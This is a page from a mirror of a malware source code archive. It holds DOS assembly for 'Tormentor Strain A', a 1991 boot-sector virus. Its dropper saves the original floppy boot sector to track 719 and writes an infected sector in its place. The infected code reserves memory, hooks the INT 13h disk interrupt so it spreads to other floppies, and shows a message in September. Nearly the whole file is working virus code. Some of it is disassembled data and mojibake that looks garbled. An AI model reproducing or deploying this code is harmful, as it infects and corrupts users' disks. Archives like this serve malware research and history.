mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
543 lines
12 KiB
NASM
543 lines
12 KiB
NASM
|
code_seg segment
|
|||
|
assume cs:code_seg,ds:code_seg
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
tormentor proc far
|
|||
|
|
|||
|
@disp macro string
|
|||
|
mov dx,offset string
|
|||
|
mov ah,09h
|
|||
|
int 21h
|
|||
|
endm
|
|||
|
|
|||
|
@exit macro
|
|||
|
mov ax,4c00h
|
|||
|
int 21h
|
|||
|
endm
|
|||
|
|
|||
|
@cls macro mode
|
|||
|
mov ah,00h
|
|||
|
mov al,mode
|
|||
|
int 10h
|
|||
|
endm
|
|||
|
|
|||
|
start: jmp main
|
|||
|
|
|||
|
boot_area dw 256 dup (0)
|
|||
|
boot_sec dw 512 dup (0)
|
|||
|
|
|||
|
message db "Tormentor Strain A",13,10
|
|||
|
db "Written by The High Evolutionary",13,10
|
|||
|
db "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
|
|||
|
db 13,10,13,10
|
|||
|
db "Press any key to install onto media in drive A:",13,10
|
|||
|
db "(Or press CTRL-C to abort)$",13,10
|
|||
|
|
|||
|
paused db 13,10,13,10
|
|||
|
db "[Paused] Insert destination disk if desired and press",13,10
|
|||
|
db "any key, otherwise, press any key$",13,10
|
|||
|
|
|||
|
done db "Done!$",13,10
|
|||
|
|
|||
|
r_fail db 13,10,13,10
|
|||
|
db "Failed to READ in boot sector$",13,10
|
|||
|
|
|||
|
w_fail db 13,10,13,10
|
|||
|
db "Failed to WRITE boot sector$",13,10
|
|||
|
|
|||
|
f_infec db 13,10,13,10
|
|||
|
db "SHIT! We failed to write the virus code to the disk!!!$",13,10
|
|||
|
|
|||
|
r_boot db 13,10,13,10
|
|||
|
db "Now READING in the boot sector$",13,10
|
|||
|
|
|||
|
w_boot db 13,10,13,10
|
|||
|
db "Now WRITING the boot sector to track 719$",13,10
|
|||
|
|
|||
|
w_vir db 13,10,13,10
|
|||
|
db "Now WRITING the VIRUS to the boot sector$",13,10
|
|||
|
|
|||
|
succ db 13,10,13,10
|
|||
|
db "Success! We installed Tormentor onto the drive$",13,10
|
|||
|
|
|||
|
memerr db 13,10,13,10
|
|||
|
db "BOMB! We had a memory allocation error. Bailing out...$",13,10
|
|||
|
db 13,10
|
|||
|
|
|||
|
read_shit db 13,10,13,10
|
|||
|
db "Reading in shit via INT 25...$",13,10
|
|||
|
db 13,10
|
|||
|
|
|||
|
intro db "You are in Torment$",13,10
|
|||
|
|
|||
|
bootseg dw ? ; Storage segment address or mem. block
|
|||
|
; containing copy of boot record
|
|||
|
|
|||
|
dssave dw ? ; Storage for DS register
|
|||
|
;dssave dw seg group ; Storage for DS register
|
|||
|
|
|||
|
pspseg dw ? ; PSP segment storage
|
|||
|
|
|||
|
;stack segment para stack 'STACK' ; Code Segment
|
|||
|
;stack ends
|
|||
|
|
|||
|
;_data segment word public 'DATA' ; Data Segment
|
|||
|
;_data ends
|
|||
|
|
|||
|
;dgroup group data,stack ; Define segment group
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; Boot record information to infect both floppies and hard-drives
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
bootrecord struc
|
|||
|
bootjump db 3 dup (?) ; Initial 3 byte jmp instruction
|
|||
|
oemstring db 8 dup (?) ; OEM version and DOS
|
|||
|
sectorbytes dw ? ; Bytes per sector
|
|||
|
clustersec db ? ; Sectors per cluster
|
|||
|
reservedrec dw ? ; Reserved sectors
|
|||
|
fatcopies db ? ; number of FAT copies
|
|||
|
direntries dw ? ; number of root dir entries
|
|||
|
totalsectors dw ? ; Total disk sectors
|
|||
|
mediadescrip db ? ; Media Descriptor
|
|||
|
fatsectors dw ? ; number of sectors occupied by 1 FAT
|
|||
|
tracksectors dw ? ; number of sectors per track
|
|||
|
heads dw ? ; number of heads
|
|||
|
hiddensectors dw ? ; number of hidden sectors
|
|||
|
bootrecord ends
|
|||
|
|
|||
|
drive db ? ; Current drive pointer
|
|||
|
|
|||
|
memalloc proc near
|
|||
|
|
|||
|
push bp ; Save base pointer
|
|||
|
push bx ; Save BX
|
|||
|
mov bp,sp ; init base pointer
|
|||
|
xor al,al ; Zero out AL
|
|||
|
mov ah,48h ; Allocate mem. function
|
|||
|
int 21h
|
|||
|
jnc end_memalloc ; exit if no error
|
|||
|
mov word ptr [bp],bx
|
|||
|
|
|||
|
end_memalloc:
|
|||
|
pop bx ; Restore BX
|
|||
|
pop bp ; Restore Base Pointer
|
|||
|
ret
|
|||
|
|
|||
|
memalloc endp
|
|||
|
|
|||
|
main:
|
|||
|
|
|||
|
get_default_drive:
|
|||
|
mov ah,19h
|
|||
|
int 21h
|
|||
|
mov byte ptr drive,al ; Move current drive into drive
|
|||
|
|
|||
|
|
|||
|
; mov ds,dssave ; Initialise DS
|
|||
|
; mov ax,es ; get PSP address
|
|||
|
; mov word ptr pspseg,ax ; and save it...
|
|||
|
|
|||
|
jmp read_boot
|
|||
|
|
|||
|
; mov bx,40h ; Allocate 1024 bytes
|
|||
|
; call memalloc ; Allocate BX block of memory
|
|||
|
; jnc read_boot
|
|||
|
; @disp memerr
|
|||
|
; jmp quit
|
|||
|
|
|||
|
read_boot:
|
|||
|
@disp read_shit
|
|||
|
mov ah,08h
|
|||
|
int 21h
|
|||
|
mov word ptr bootseg,ax
|
|||
|
push ax ; Save AX onto the stack
|
|||
|
mov al,0
|
|||
|
; mov al,byte ptr drive ; Move current drive into AL
|
|||
|
xor ah,ah ; Zero out AH
|
|||
|
; pop ds ; Restore Data_seg
|
|||
|
pushf ; Save flags
|
|||
|
mov dx,0 ; Read in sector 0
|
|||
|
mov cx,1 ; Read in 1 sector
|
|||
|
mov bx,offset boot_sec ; Store data at DS:boot_sec
|
|||
|
int 25h ; Read in the disk
|
|||
|
popf ; clear flags used by flags
|
|||
|
@disp done
|
|||
|
mov ah,08h
|
|||
|
int 21h
|
|||
|
; assume ds:code_seg ; Restore DS
|
|||
|
|
|||
|
begin: @cls 03
|
|||
|
; mov ah,00 ; Set screen
|
|||
|
; mov al,03 ; Set screen for 80x25 color
|
|||
|
; int 10h ; Call BIOS
|
|||
|
@disp message
|
|||
|
|
|||
|
mov ah,08h ; Wait for a keypress
|
|||
|
int 21h
|
|||
|
mov cx,3
|
|||
|
|
|||
|
read_sector:
|
|||
|
@disp r_boot ; Display that we are reading the
|
|||
|
; sector from the disk
|
|||
|
push cx ; Counter is pushed onto the stack
|
|||
|
mov ax,201h ; Read in 1 sector
|
|||
|
mov bx,offset boot_area ; Store it in boot_area
|
|||
|
mov cx,1 ; Set counter to 1
|
|||
|
mov dx,0 ; Set for drive 0, head 0
|
|||
|
int 13h ; Call BIOS
|
|||
|
pop cx ; Restore counter
|
|||
|
jnc good_read ; If there were no errors, then
|
|||
|
; jump to good_read
|
|||
|
loop read_sector ; Jump back and try reading the sector
|
|||
|
; again while CX>0
|
|||
|
@disp r_fail
|
|||
|
mov ax,4c00h ; Exit
|
|||
|
int 21h ; Call DOS
|
|||
|
|
|||
|
good_read:
|
|||
|
mov cx,3 ; Set counter to 3
|
|||
|
@disp paused ; Display message for pause
|
|||
|
mov ah,08h ; Wait for a key
|
|||
|
int 21h ; Call DOS
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; Write good sector to track 719 (Head 1, track 27, sector 9)
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
write_sector:
|
|||
|
@disp w_boot ; Display that we are writing the
|
|||
|
; sector to disk
|
|||
|
mov ax,301h ; Set for writing the boot sector
|
|||
|
mov bx,offset boot_area ; Set buffer to what we read in
|
|||
|
; mov bx,offset infected_data
|
|||
|
mov cx,2709h ; Set counter to 2709h
|
|||
|
mov dx,100h ; Head 1, drive 0
|
|||
|
int 13h ; Call BIOS
|
|||
|
pop cx ; Restore the counter
|
|||
|
jnc good_write ; If we wrote the sectors allright,
|
|||
|
; then jump to good_write
|
|||
|
loop write_sector
|
|||
|
@disp w_fail
|
|||
|
mov ax,4c00h ; Exit
|
|||
|
int 21h ; Call DOS
|
|||
|
|
|||
|
good_write:
|
|||
|
mov cx,3 ; Copy 3 into CX
|
|||
|
@disp w_vir
|
|||
|
infect_floppy:
|
|||
|
push cx ; Push it onto the stack
|
|||
|
mov ax,301h ; Write 1 sector
|
|||
|
mov bx,offset infected_data ; Write corrupt boot sector to the
|
|||
|
; drive
|
|||
|
mov cx,1 ; Set counter to 1
|
|||
|
mov dx,0 ; Set for drive A:
|
|||
|
int 13h ; Call BIOS
|
|||
|
jnc good_infection ; If there are no problems, then
|
|||
|
; continue
|
|||
|
loop infect_floppy ; Otherwise, try again until CX=0
|
|||
|
@disp f_infec ; If CX=0, then display the message
|
|||
|
; and then exit
|
|||
|
mov ax,4c00h ; Exit
|
|||
|
int 21h ; Call DOS
|
|||
|
|
|||
|
good_infection:
|
|||
|
@disp succ
|
|||
|
mov ax,4c00h
|
|||
|
int 21h
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; The following is a copy of the infected boot sector to copy to sector 0
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
infected_data db 0EBh, 34h
|
|||
|
nop
|
|||
|
dec cx
|
|||
|
inc dx
|
|||
|
dec bp
|
|||
|
and [bx+si],ah
|
|||
|
xor bp,word ptr ds:[33h]
|
|||
|
add al,[bp+si]
|
|||
|
add [bx+si],ax
|
|||
|
add dh,[bx+si+0]
|
|||
|
rol byte ptr [bp+si],1 ; Rotate
|
|||
|
std ; Set direction flag
|
|||
|
add al,[bx+si]
|
|||
|
or [bx+si],ax
|
|||
|
add al,[bx+si]
|
|||
|
db 19 dup (0)
|
|||
|
; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
|
|||
|
adc al,[bx+si]
|
|||
|
add [bx+si],al
|
|||
|
add [bx+di],al
|
|||
|
add dl,bh
|
|||
|
xor ax,ax ; Zero register
|
|||
|
mov ds,ax
|
|||
|
mov ss,ax
|
|||
|
mov bx,7C00h ; Pointer to boot segment
|
|||
|
mov sp,bx
|
|||
|
push ds
|
|||
|
data_14 db 53h
|
|||
|
dec word ptr ds:[413h]
|
|||
|
int 12h ; Put (memory size)/1K in ax
|
|||
|
mov cl,6
|
|||
|
shl ax,cl ; Shift w/zeros fill
|
|||
|
mov es,ax
|
|||
|
xchg ax,word ptr ds:[4Eh]
|
|||
|
mov word ptr ds:[7DABh],ax
|
|||
|
mov ax,128h
|
|||
|
xchg ax,word ptr ds:[4Ch]
|
|||
|
mov word ptr ds:[7DA9h],ax
|
|||
|
mov ax,es
|
|||
|
xchg ax,word ptr ds:[66h]
|
|||
|
mov word ptr ds:[7DAFh],ax
|
|||
|
mov ax,0BBh
|
|||
|
xchg ax,word ptr ds:[64h]
|
|||
|
mov word ptr ds:[7DADh],ax
|
|||
|
xor di,di ; Zero register
|
|||
|
mov si,bx
|
|||
|
mov cx,100h
|
|||
|
cld ; Clear direction
|
|||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
sti ; Enable interrupts
|
|||
|
push es
|
|||
|
mov ax,85h
|
|||
|
push ax
|
|||
|
retf
|
|||
|
push bx
|
|||
|
xor dl,dl ; Zero register
|
|||
|
call sub_2 ; (00FB)
|
|||
|
pop bx
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov ah,2
|
|||
|
mov dh,1
|
|||
|
call sub_6 ; (011F)
|
|||
|
jc loc_2 ; Jump if carry Set
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset ds:[0Bh]
|
|||
|
mov di,offset ds:[7C0Bh]
|
|||
|
mov cx,2Bh
|
|||
|
cld ; Clear direction
|
|||
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|||
|
jz loc_ret_3 ; Jump if zero
|
|||
|
loc_2:
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
push cs
|
|||
|
mov ax,0AFh
|
|||
|
push ax
|
|||
|
|
|||
|
loc_ret_3:
|
|||
|
retf ; Return far
|
|||
|
read_error:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,1DBh
|
|||
|
call sub_1 ; (00DA)
|
|||
|
xor ah,ah ; Zero register
|
|||
|
int 16h ; Keyboard i/o ah=function 00h
|
|||
|
; get keybd char in al, ah=scan
|
|||
|
xor ax,ax ; Zero register
|
|||
|
int 13h ; Disk dl=drive a ah=func 00h
|
|||
|
; reset disk, al=return status
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov bx,offset ds:[200h]
|
|||
|
mov cx,6
|
|||
|
xor dx,dx ; Zero register
|
|||
|
mov ax,201h
|
|||
|
int 13h ; Disk dl=drive a ah=func 02h
|
|||
|
; read sectors to memory es:bx
|
|||
|
jc read_error ; Jump if carry Set
|
|||
|
mov cx,0FF0h
|
|||
|
mov ds,cx
|
|||
|
jmp dword ptr cs:data_16
|
|||
|
|
|||
|
;
|
|||
|
; Insert Tormentor endp here...
|
|||
|
;
|
|||
|
;tormentor endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_1 proc near
|
|||
|
loc_5:
|
|||
|
mov bx,7
|
|||
|
cld ; Clear direction
|
|||
|
lodsb ; String [si] to al
|
|||
|
or al,al ; Zero ?
|
|||
|
jz loc_ret_9 ; Jump if zero
|
|||
|
jns loc_6 ; Jump if not sign
|
|||
|
xor al,0D7h
|
|||
|
or bl,88h
|
|||
|
loc_6:
|
|||
|
cmp al,20h
|
|||
|
jbe loc_7 ; Jump if below or =
|
|||
|
mov cx,1
|
|||
|
mov ah,9 ;
|
|||
|
int 10h ; Video display ah=functn 09h
|
|||
|
; set char al & attrib bl @curs
|
|||
|
loc_7:
|
|||
|
mov ah,0Eh
|
|||
|
int 10h ; Video display ah=functn 0Eh
|
|||
|
; write char al, teletype mode
|
|||
|
jmp short loc_5 ; (00DA)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_2:
|
|||
|
mov bx,200h
|
|||
|
mov cx,2
|
|||
|
mov ah,cl
|
|||
|
call sub_5 ; (011D)
|
|||
|
mov cx,2709h
|
|||
|
xor byte ptr es:[bx],0FDh
|
|||
|
jz loc_8 ; Jump if zero
|
|||
|
mov cx,4F0Fh
|
|||
|
loc_8:
|
|||
|
jmp short loc_ret_9 ; (0127)
|
|||
|
nop
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_3:
|
|||
|
mov ah,2
|
|||
|
mov bx,200h
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_4:
|
|||
|
mov cx,1
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_5:
|
|||
|
mov dh,0
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_6:
|
|||
|
mov al,1
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_7:
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:data_15
|
|||
|
|
|||
|
loc_ret_9:
|
|||
|
retn
|
|||
|
sub_1 endp
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push si
|
|||
|
push di
|
|||
|
pushf ; Push flags
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp dl,1
|
|||
|
ja loc_11 ; Jump if above
|
|||
|
and ax,0FE00h
|
|||
|
jz loc_11 ; Jump if zero
|
|||
|
xchg al,ch
|
|||
|
shl al,1 ; Shift w/zeros fill
|
|||
|
add al,dh
|
|||
|
mov ah,9
|
|||
|
mul ah ; ax = reg * al
|
|||
|
add ax,cx
|
|||
|
sub al,6
|
|||
|
cmp ax,6
|
|||
|
ja loc_11 ; Jump if above
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub_3 ; (0115)
|
|||
|
jc loc_10 ; Jump if carry Set
|
|||
|
mov di,offset data_14
|
|||
|
mov si,offset ds:[243h]
|
|||
|
mov cx,0Eh
|
|||
|
std ; Set direction flag
|
|||
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to
|
|||
|
; es:[di]
|
|||
|
jz loc_11 ; Jump if zero
|
|||
|
sub si,cx
|
|||
|
sub di,cx
|
|||
|
mov cl,33h ; '3'
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to
|
|||
|
; es:[di]
|
|||
|
call sub_2 ; (00FB)
|
|||
|
push cx
|
|||
|
push bx
|
|||
|
call sub_3 ; (0115)
|
|||
|
mov ah,3
|
|||
|
xor bx,bx ; Zero register
|
|||
|
call sub_4 ; (011A)
|
|||
|
pop bx
|
|||
|
pop cx
|
|||
|
jc loc_10 ; Jump if carry Set
|
|||
|
mov dh,1
|
|||
|
mov ah,3
|
|||
|
call sub_6 ; (011F)
|
|||
|
loc_10:
|
|||
|
xor ax,ax ; Zero register
|
|||
|
call sub_7 ; (0121)
|
|||
|
loc_11:
|
|||
|
mov ah,4
|
|||
|
int 1Ah ; Real time clock ah=func 04h
|
|||
|
; read date cx=year, dx=mon/day
|
|||
|
cmp dh,9
|
|||
|
jne not_month ; Jump if not equal
|
|||
|
mov si,1B1h
|
|||
|
call sub_1 ; (00DA)
|
|||
|
not_month:
|
|||
|
popf ; Pop flags
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp dword ptr cs:data_15
|
|||
|
data_15 dd 0C602EC59h
|
|||
|
data_16 dd 0F000E6F2h
|
|||
|
esc 2,ch ; coprocessor escape
|
|||
|
and [bp+di-4141h],al
|
|||
|
movsb ; Mov [si] to es:[di]
|
|||
|
idiv word ptr [bp-85Ch] ; ax,dxrem=dx:ax/data
|
|||
|
xchg ax,si
|
|||
|
mov si,offset ds:[0B4A5h]
|
|||
|
mov ax,0DAA7h
|
|||
|
esc 5,[bx+si] ; coprocessor escape
|
|||
|
db 'IO SYSMSDOS SYS', 0Dh, 0Ah
|
|||
|
db 'Non-system disk or disk error', 0Dh
|
|||
|
db 0Ah
|
|||
|
add [bx+si],al
|
|||
|
push bp
|
|||
|
; jmp cont
|
|||
|
|
|||
|
; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
|
|||
|
stosb
|
|||
|
;cont: stosb ; Store al to es:[di]
|
|||
|
|
|||
|
tormentor endp
|
|||
|
|
|||
|
quit: mov ax,4c00h
|
|||
|
int 21h
|
|||
|
|
|||
|
|
|||
|
code_seg ends
|
|||
|
end start
|
|||
|
|
|||
|
|